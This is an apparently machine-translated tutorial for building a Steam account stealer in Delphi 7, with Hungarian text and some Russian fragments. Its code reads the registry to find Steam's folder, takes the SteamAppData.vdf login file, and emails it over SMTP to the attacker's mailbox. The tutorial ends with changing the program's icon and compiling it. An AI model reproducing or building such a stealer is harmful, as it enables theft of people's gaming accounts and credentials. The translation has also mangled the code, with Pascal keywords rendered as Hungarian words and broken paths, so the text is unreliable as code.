Készítsen gőz Stiller Delphi

Készítsen Stiller Steam Delphi

Ma írja Stiller a Delphi 7.
Ő nagyon sokat kell mérlegelni

800kb (igen, tudom, ők uralják a konzol + winsock de túl lusta voltam).

És így kell végrehajtani:
1. Keresési stim mappa és a fájl maga a bérletek
2. Küldje el e-mailben a fájlt.

Nyissa meg a Delphi 7, hozzon létre egy projektet. Azért hoztuk létre? Menj előre.
Ahhoz, hogy formában nem volt a nyitó Stiller hozzá egy sort.

Együttműködik a registry felírni Felhasználás Registry;
Add IdAntiFreeze összetevője lapok IndyMisc
add peremennnye

[DELPHI] var
Form1: TForm1;
m: TIdMessage;
sm: tidsmtp;
ATT: tidattachment; [/ Delphi]

Hozzon létre egy eljárást a kapcsolatot, és küldje el a fájlt

[DELPHI] funkciót ReadReg (gyökér: integer; t, kulcs: string): string;
var
s: string;
reg: TRegistry;
kezdődik
reg: = TRegistry.Create;
reg.RootKey: = gyökér;
reg.OpenKey (kulcs, true);
esetben reg.Getdatatype (t) a
rdString, rdExpandString:
s: = reg.ReadString (t);
rdInteger:
s: = IntToStr (reg.readinteger (t));
más
s: = 'egyéb típusú';
végén;
Eredmény: = s;
reg.Free;
végén; [/ Delphi]

2-szer rákattintunk forma
alkalmazandó eljárások

eljárás TForm1.FormCreate (Sender: TObject);
var
regpath, útvonal: string;
kezdődik
regpath: = ReadReg (HKEY_CURRENT_USER 'Gőz', '\ Szoftver \ Microsoft \ Windows \ CurrentVersion \ Run');
path: = Pars ( ' "', regpath, '"');
path: = ExtractFilePath (path) + 'config \ SteamAppData.v df';
Levél (path, 'логин@mail.ru', 'jelszó', 'Hol слать@mail.ru');
végén;

Minden. A kód végünk. Most folytassa a változás az ikonok és a válogatás.

Módosítja az ikon nem lesz probléma.
Mentse el a projektet.
Fájl -> Mentés másként -> Mindenképpen ki egy mappát.

összeállít
Szoráni magát exe fájlt a projekt mappájába.
Minden Stiller kész.